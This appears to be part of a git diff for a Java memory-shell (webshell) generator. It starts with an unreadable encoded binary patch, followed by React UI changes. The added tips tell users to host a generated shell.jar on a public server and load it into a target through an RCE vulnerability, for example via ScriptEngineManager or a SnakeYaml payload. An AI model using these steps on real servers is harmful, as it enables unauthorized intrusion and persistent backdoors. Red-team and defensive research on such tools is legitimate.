z@2hV2eQ5pDIMF(e18BCYu+vUPyCe0u`tnmzs`*f<+Q?r{S{nb#Yt!77Dx7dez7kt00hfUv2gv9Ka27ZOtN>mI zRsl}}TY#s4m4E=~QuQX7D!oKHpN7n%(_LjwMP4N}@CxuU@DlJM@B;8WAfg+xz_2w) ztp>IMTY=YrgTMh`Kky0gF|ZHV3+w?t5_1}|1j`vD@c^a~>rg`dKLwlwP5`HY<3ME{ z*$^mCrKtijJBTxqXPE-0fBz^^c0j>i-1J{77 zz)!#x;4*LHzhmk__tu#AMU}a0QwI^a~`7CA)*&faX9;paswwXbZFkd;rpU1FfX&3vL6n13Cb; zX*RS6s3AXqoCp9Yll1g8zQejptf3JeF*fDwSYSugUBc)6ZP~&u$f*KA(d8&iTP#%>@ z0R{tu05uVZNF7beVMrU_4JBg&6{N~kL27{XDiV~J15nQ<0=YmoKz4MuU_3yxpQ11h zplGSc(Hx-$GXYi41f;WR{HX#eOofQ4Qew4?s0Vof*_mEfM5qwDe1O7E71P}i<=`Zw zivTJ|c67(2x^pEoMygU(0ePkhQXz7Tm~_OI9iz%gHwB>kCetO)lsp@32WWDVb6)}9 z0>^+a>9$Rtc&Qogm{BL61vUZC05qH%!A}Dl0NOs+gXaNr0b1Ukk||A-+#h%lI?_|x z1N;y`{x1OL1GF_S0;{e0VWb!8_`^o`+?yNTC3_~ztOE=2gc}>cJauu=jWsV(;d4jU zOTeoDh2<51LQ3JJ?x{Q#K9Z@7nj|z~l#Nuer0% zx{vT_&KlwIdBs-YgY*&LQ{Xe89qm~ z!sN&o6MUJwK1a-lw)-Ou5EN+DU)*G07T85xa0jNR1_cBK1Y)~$HBNc^`OOd4|Kf{U z`AlyO4T_jiBI>te z?&0b$L2kKz;=xzGKc6R?!)~YkR^-aFYo{#i?QmV@1mQO|8jI9+%+2#eWAiW2y>j_{ z*DHC$UNTz@L5tTLujm8M>WCN6hTd8vcL#M9Uz0RYoDBfwiaCLx1)`H5Xq~tXr##i) zv;5k&XU)Y^w{KT?^JxMJ4_Ym@ zM5F$Revq@#H5XhclU8Vo3#_u9sV6{Y1=m9wDgV3?yIi=i>t0UFJ-F)7$^aWHM~!fK1?O9dv_V*aReR5_ zw-PTyEqC)jZN6p$e-)g+*s`QQRd*V-G03oqGhNF&TXV3~R%(p2>Q;Hk%-K*apyi!T z^c9D@VOP8N>7@Q>vitlY30{`e&u~Zv2L#d~X?ER1{gvgne&2Ls+VP>rDS!Is&Dxs_1q!Q-*0K7s z{d=oUUFuX_ZD#F%dwt0TRdxUQPfyI6SGrutX85Yj?dp-L+6TEtstj_q1DL68waT!R zuYs!jm5jV{v+@AAOUK-*MxdI1|7M4)T49YLEw8Z3g!yZKt6deE7a~kv^r;K8D*Z2S z#f)dwgRlfL)4|DSPkQcD#S^lSM zICId-KfTttW~xkr|KxJA+_C>)?@`-AmC;q}tm;B7AIGYrq|1-+Rij}X3RO-$9DeP_ zu&(T1!D8$f=FfHoi=|_jn`KupzSu>V0B$~^bkX94%L?3swy*Xr99?JOC{Lz0h6axv z?CnCt{bQM*V`E*G^)<>O=U=F!Dfs=fi&x}67E-IRPPeD%pIOG=@*C>#6L(v)2(fJ} zYtGt*iNj;zMb|KKYb^6-pM;4P8T3gsOhjfdf2S+B3D6KVitdlH&b7nHv994_eFm;+ z62rxn43^054;N04u`X;(xX2&Jg4x7yG4(O_N@Zg=PxYFIL1~xn-dvjgTVp*n#CzsU z@6^zB5#mfHF0Ryj6?Qgm+HmA!PtJAJLjyv?1JI*A5h5UqxrM7YF(j|LawT^CkvkO@ z>Rk)upXn zFIHHrj>KgwVo;X)u80A9))`XC>zo4rO4nv z4%;ene4<3(Y)c@v4P{&)J+^Vp+7$w*Q4A*;c;z|ide1DwiHvz4ww>+Fa z{mz;ff_FtZ>VW~l#=xuhKxL&~xF2M9yLmIH|Ht9@`<1F} zN8~g?&RUPa9iLtpGpr&fENpSkPR|dNX=+ zXsz7uD=e1Ec27Jw&K9)d`0k3FXA(pnl`WOEzhKK6Ss2r9b%lj`ZN`xe4ZJ?^yYN6o z&bb8f7Rq{-$+9_VPv8Aw*_&|{7WERvRjR!e9#xWOKddPJc|*)^J1Z>I%R4$wXjc3B z``H+O6_MVFqI)jNs@Hu4yUrSXc1Qow6&C7+AiV3P*4ax|Ev(2{kSG?TtfzW~$ll-V zEoVM6h*wy=m?++*+SN-(!u#%jW5e=o(a`r1n+CtJtlzWw6&C8n9ns!xQf=p-4y(xFeZ>fr^;EC=Soq_>XSY4uH@3p!)4pOU z)vjI+@}$dP_uaj&H>|Lr_lLAXG<}1T0}_Vqc&s8P;y!VjYFBR@+1GVeTHvII22@zg zx=%Emh}}fJGUW8#Wv9lsIpiNtw{?vVgXzg4Z6exNFBwT_kQ;sG{DUoF5r|ua_|R%k zHfQmYyXQK77n2@rlr?S%Kb|aJrn1#*H$Dg&Yec=WBx~c-^|m)`*rOsRKUv(Gh;7rJ zEc)a#J8hTy^U)Xe&XE;wByDtx_yG5W;YSE&NswBR>TM;NKW+P|e`qmo>ZXPT1V!R= zr+VQ@Y?Fr1eG~Qgv&ad?{oYVK2N)>sFTkqK87K~eJ=Ggf(t3}n(`wP69C8CRPh%Ol=GK*MVc+WKBZ_C+l=jgBIw@Rd7hvNP-j@|(>r`!0$V`n~;?Mnkj zj{t(SQE8%XF*=n83p{49pF5SjC+o6TDp?o?+R}6p3ybho>Bg4=?U%+58+0oA-9%VK znm1!MA*UJ2zBn;xTh5g+YmpOT<}4m99;Mo&$C#H8gFe0FJAGn_RS?G{_7ek6?P{t)i} zG#e{YVeF}10WChO^(io1%(~M zkAT?8A~V~3JXCgbM&^4%9^b_DWN2tW5UPGtnOnalkn2GnJM{hc*4AHdVfs{P=v=H} zU?R=+`3fv3wn5I}}zK9%}I=I_)C`ZI1 z%EECP3-wg5!ijD2^~x^qIL(5YyjA!@t{6Ct1&6EGscgH^;`mbg+U-U~!I1%Bn!`l% zO)j5oZP_O#yZ3`;P6YgHKT*6j4P8}l!Li?YyIJ6-1x*oRl%enxO%zvQ!RAjC&eNH{ z^K$5Yp^wQI4d$}OwE}S?FDYM~LE4+r>is%(m-iUxI`6BVto%|rFJCO4j<(dBdc2nP z$s4ntPpPm#o$r!`dXr6?51$>-&LbN`gOK1_DN2he5V3R6s*$ebfhwt9cv3&XcA|c_ z%d}w7O$xL0SLDxNj_g2@II|j^D$5f~XRxWxEsM?0nnq0>L#RuE53{B%LN)dFnx5a} z^zh$Z`lbqAsMe)eq|HPvy^DqS0yq_c17b+ASWj1dnZ@E|Li_6VML)ifv1#qmb#K4|p`@W#?1%TMxa{M zJ^%cOS#7fFs$4ZG$JsGVP7oUVN@sk&9edcnKjYP_n9klg@Uma1%Ss~#2P<{DqF+cE-BvyYYjPH`N*>Ww2U9c8EbCTnK9|ovhPYhin8jh5 zdYx71%q1&-p848oH4lREJ}U9zT#R$8K)oT_-*3F~jlcUrncRI{e8c1cDq9 zAJ1c+G*d``f6DU;4I;VtaYPW~(r-RaGKwJW1S+Cc9dl#Vr>NQY@~P^1?^RsAJ0btY z7#RD})diLORDPH}b7R$_TrI$Vo)ID1Uk0~ITV@+ZtPoc>hNv3(s_p7ARk4)$V)-JL zC`NZ+zT%@rEL1G$z?yruSYTetsn<9$eKs~F`XGTl`PL$|Vyp)GMC z^6zf4G!~PWvKBSpX)&&KaHr+frPz&YywhS>)Oe@G$ibbKJ5;vDJ1vHVdedg))fo@e zYw!?04d5<~kuyC~^j(IvUE`e=!vc3&?69c$PK#ktl@u|RU{!uN4=W2jc5>NGbRg+-N%hsq^d z1m5$~A-ueGwUq|ag#)(gazFmd3x`tM3U*Y-3*SWZm24Hb^o^D5lJ2Qq<@Rp#Hnnz+ zN;`ucl|HUwj^on)?NyivHC)o;OsA`j8b2Nwr@i_(aF0t_To0I+vccp~@l#mJ&e`HU zVj4Kwe$}{CInwFq!f`A&QqOyDSh5!J!DDg~E+L9{IyrOBhYhWF+OHx~QX;TlF2 zRX(altI4Gc*0cUPdv{#v@eOQneR1ps=26PGuzgl>^<7rKbje$6u~+FcXV^h+ap)AQ zTiWJ0TWb++FEbBOs5|(I_rGQ%N?+3*np#ER7S^kDud_ppm-uogix=Z}vV76v467~b f`8g~TEzhu8VuGK8t7!8U8%pB*(zSjLFSq$WSqzZo diff --git a/web/src/components/memshell/main-config-card.tsx b/web/src/components/memshell/main-config-card.tsx index b2fe2541..05786513 100644 --- a/web/src/components/memshell/main-config-card.tsx +++ b/web/src/components/memshell/main-config-card.tsx @@ -395,7 +395,9 @@ export default function MainConfigCard({ onCheckedChange={field.onChange} /> - + )} /> diff --git a/web/src/components/memshell/results/jar-result.tsx b/web/src/components/memshell/results/jar-result.tsx index c5b80fef..b9bbc8d5 100644 --- a/web/src/components/memshell/results/jar-result.tsx +++ b/web/src/components/memshell/results/jar-result.tsx @@ -1,27 +1,79 @@ +import { ScrollTextIcon } from "lucide-react"; import { useTranslation } from "react-i18next"; +import CodeViewer from "@/components/code-viewer"; import { Button } from "@/components/ui/button"; -import { downloadBytes } from "@/lib/utils"; +import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; +import { Separator } from "@/components/ui/separator"; +import { downloadBytes, formatBytes } from "@/lib/utils"; import type { MemShellResult } from "@/types/memshell"; export function JarResult({ + packMethod, packResult, generateResult, -}: Readonly<{ packResult: string; generateResult?: MemShellResult }>) { +}: Readonly<{ + packMethod: string; + packResult: string; + generateResult?: MemShellResult; +}>) { const { t } = useTranslation(); + const isPureJar = packMethod === "Jar"; return ( -
- -
+ + + + + {t("common:usage")} + + + +
    +
  1. + + {t("common:download")} shell.jar ( + {formatBytes(atob(packResult).length)}) + + +
  2. + + {isPureJar ? ( + <> +
  3. {t("memshell:tips.download-jar")}
  4. +
  5. {t("memshell:tips.trigger-injector-class-loading")}
  6. + + ) : ( + <> +
  7. {t("memshell:tips.download-jar")}
  8. +
  9. {t("memshell:tips.load-jar-with-scriptenginemanager")}
  10. + SnakeYaml Payload} + /> + + )} +
+
+
); } diff --git a/web/src/components/memshell/results/result-component.tsx b/web/src/components/memshell/results/result-component.tsx index bbdab73c..d423cbb3 100644 --- a/web/src/components/memshell/results/result-component.tsx +++ b/web/src/components/memshell/results/result-component.tsx @@ -18,7 +18,7 @@ export function ResultComponent({ }>) { const showCode = packMethod === "JSP"; const isAgent = packMethod.startsWith("Agent"); - const isJar = packMethod === "Jar"; + const isJar = packMethod.endsWith("Jar"); const { t } = useTranslation(); if (allPackResults) { return ( @@ -29,7 +29,6 @@ export function ResultComponent({ /> ); } - if (isAgent) { return ( ); } - if (!isAgent && !isJar) { - return ( - - - {t("common:packerMethod")}:{packMethod} - - - ({packResult?.length}) - - - } - wrapLongLines={!showCode} - showLineNumbers={showCode} - language={showCode ? "java" : "text"} - height={350} - /> - ); - } - return null; + + return ( + + + {t("common:packerMethod")}:{packMethod} + + ({packResult?.length}) + + } + wrapLongLines={!showCode} + showLineNumbers={showCode} + language={showCode ? "java" : "text"} + height={350} + /> + ); } diff --git a/web/src/components/memshell/tabs/classname-field.tsx b/web/src/components/memshell/tabs/classname-field.tsx index 1573c5b2..17fedcf8 100644 --- a/web/src/components/memshell/tabs/classname-field.tsx +++ b/web/src/components/memshell/tabs/classname-field.tsx @@ -18,8 +18,7 @@ export function OptionalClassFormField({ const initialShellClassName = form.getValues("shellClassName") ?? ""; const initialInjectorClassName = form.getValues("injectorClassName") ?? ""; const [useRandomClassName, setUseRandomClassName] = useState( - () => - !(initialShellClassName?.trim() || initialInjectorClassName?.trim()), + () => !(initialShellClassName?.trim() || initialInjectorClassName?.trim()), ); const [savedShellClassName, setSavedShellClassName] = useState( initialShellClassName, diff --git a/web/src/components/probeshell/main-config-card.tsx b/web/src/components/probeshell/main-config-card.tsx index ba1c4b8d..e8379c66 100644 --- a/web/src/components/probeshell/main-config-card.tsx +++ b/web/src/components/probeshell/main-config-card.tsx @@ -209,7 +209,9 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) { const renderDynamicFields = useCallback(() => { const isBodyMethod = watchedProbeMethod === "ResponseBody"; const needParam = - watchedProbeContent === "Command" || watchedProbeContent === "Bytecode" || watchedProbeContent === "ScriptEngine"; + watchedProbeContent === "Command" || + watchedProbeContent === "Bytecode" || + watchedProbeContent === "ScriptEngine"; const isSleepMethod = watchedProbeMethod === "Sleep"; const isServerContent = watchedProbeContent === "Server"; diff --git a/web/src/i18n/memshell/en.json b/web/src/i18n/memshell/en.json index b426c36b..8965a5a3 100644 --- a/web/src/i18n/memshell/en.json +++ b/web/src/i18n/memshell/en.json @@ -54,5 +54,8 @@ "tips.specificUrlPattern": "URL Pattern must be specified, e.g., /hello", "tips.targetServerNotFound": "Target server not found?", "tips.targetServerRequest": "Request", - "tips.try-to-use-shell": "Try to use the memory shell" + "tips.try-to-use-shell": "Try to use the memory shell", + "tips.download-jar": "Download the jar file and upload it to the public network server, so that it can be accessed through the http link to download", + "tips.load-jar-with-scriptenginemanager": "Load the jar file with javax.script.ScriptEngineManager to implement injection", + "tips.trigger-injector-class-loading": "Trigger the injector class loading with RCE vulnerability" } diff --git a/web/src/i18n/memshell/zh-CN.json b/web/src/i18n/memshell/zh-CN.json index 95fedc98..778a9fd0 100644 --- a/web/src/i18n/memshell/zh-CN.json +++ b/web/src/i18n/memshell/zh-CN.json @@ -55,7 +55,7 @@ "tips.targetServerNotFound": "找不到目标服务?", "tips.targetServerRequest": "请求适配", "tips.try-to-use-shell": "尝试利用内存马", - "shellNotWork": { - "title": "利用失败?" - } + "tips.download-jar": "下载 jar 包并上传至公网服务器,使其能通过 http 链接访问下载", + "tips.load-jar-with-scriptenginemanager": "通过 RCE 漏洞使用 javax.script.ScriptEngineManager 加载 jar 包实现注入", + "tips.trigger-injector-class-loading": "通过 RCE 漏洞触发注入器类加载" } diff --git a/web/src/pages/probeshell.tsx b/web/src/pages/probeshell.tsx index 23e1a087..efbc886f 100644 --- a/web/src/pages/probeshell.tsx +++ b/web/src/pages/probeshell.tsx @@ -56,7 +56,7 @@ export default function ProbeShellGenerator() { seconds: 5, sleepServer: "Tomcat", shrink: true, - staticInitialize: true + staticInitialize: true, }, }); diff --git a/web/src/types/schema.ts b/web/src/types/schema.ts index 579331e6..4614ecd4 100644 --- a/web/src/types/schema.ts +++ b/web/src/types/schema.ts @@ -152,7 +152,7 @@ export const probeShellFormSchema = yup.object().shape({ debug: yup.boolean().optional(), byPassJavaModule: yup.boolean().optional(), shrink: yup.boolean().optional(), - staticInitialize: yup.boolean().optional() + staticInitialize: yup.boolean().optional(), }); type ProbeValidationResult = ResolverResult; diff --git a/web/src/utils/transformer.ts b/web/src/utils/transformer.ts index 9a0c1a24..124b0188 100644 --- a/web/src/utils/transformer.ts +++ b/web/src/utils/transformer.ts @@ -37,7 +37,7 @@ export function transformToPostData(formValue: MemShellFormSchema) { const injectorConfig: InjectorConfig = { urlPattern: formValue.urlPattern, injectorClassName: formValue.injectorClassName, - staticInitialize: formValue.staticInitialize + staticInitialize: formValue.staticInitialize, }; return { shellConfig, @@ -55,7 +55,7 @@ export function transformToProbePostData(formValue: ProbeShellFormSchema) { shrink: formValue.shrink, debug: formValue.debug, byPassJavaModule: formValue.byPassJavaModule, - staticInitialize: formValue.staticInitialize + staticInitialize: formValue.staticInitialize, }; const probeContentConfig: ProbeContentConfig = { host: formValue.host,